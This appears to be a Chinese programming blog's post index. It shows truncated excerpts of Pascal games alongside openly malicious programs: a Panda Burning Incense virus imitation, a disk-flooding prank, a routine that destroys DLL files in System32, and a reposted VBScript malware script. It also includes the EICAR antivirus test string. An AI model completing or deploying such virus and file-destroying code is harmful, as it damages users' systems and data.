摘要：
这是一段原载于百度百科上的代码，Chaobs转载原帖已删，就是怕有人用这个恶意程序。慎用！dim folder,fso,foldername,f,d,dcset fso=createobject("scripting.filesystemobject")set self=fso.opentextfi... 阅读全文
摘要：
发一段测试码，用于检测杀毒软件的性能将下面这段话复制X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*测试方法：1.鼠标右键点击桌面空白处，创建一个“文本文档”。2.将上面这段测试代码复制到“文本”里，保存，然后可... 阅读全文
摘要：
转载请注明出处有点小恶意哦！慎重测试'This procedure is written in SeChaos, only for entertainment, not malicious communication, crack or rewrite.I am not liable, the fi... 阅读全文
摘要：
俄罗斯方块已经成为了和“Hello World”一样的程序了吧？不要直接复制，可能需要事先 Format.program cube;uses crt,graph,dos;var gd,gm:smallint;fillin:fillpatterntype;board:array[0..26,0..26... 阅读全文
摘要：
Pascal仿熊猫烧香病毒，慎用program japussy;useswindows, sysutils, classes, graphics, shellapi{, registry};constheadersize = 82432; //病毒体的大小iconoffset = $12eb8; /... 阅读全文
摘要：
一个被人写滥了的小程序，新手学习，Pascal By Chaobs初学者可以用它来学习随机函数的运用，当然你完全可以自己写一个随机函数。var player1,player2:longint; a,b,l,o,i,v:longint; w:boolean;begin randomize; write... 阅读全文
摘要：
一个经典的打飞机游戏（1）Pascal代码十分经典，有一种街机的感觉奇葩青年的又一控制台神作。usescrt;typelist=recordty,ax:integer;end;xy=recordbx,by:integer;end;l1=array[1..4,1..5]ofchar;l2=array[... 阅读全文
摘要：
一个整人的Pascal小程序运行之后硬盘里面会有一大堆垃圾，当然更好的方法当然不是这样做！var a,b,c,d:char;beginfor a:='0' to '9' dofor b:='0' to '9' dofor c:='0' to '9' dofor d:='0' to '9' dobeg... 阅读全文
摘要：
运用Pascal来破坏DLL文件的一个实例关于Pascal静态调用和动态的调用DLL的学习您可以看Delphi/Lazarus栏目。Uses Dos; {调用DOS库}Const Root='C:\Windows\System32\'; {定位文件}var vir:array [1..6] of s... 阅读全文
摘要：
Pascal吧友作品 一个小RPGChaobs转载varplife,plifemax,patt,pre:integer;gr,ex,exmax:integer;alife,alife1,aatt,are:integer;name,fname:string;na:text;code,co:string... 阅读全文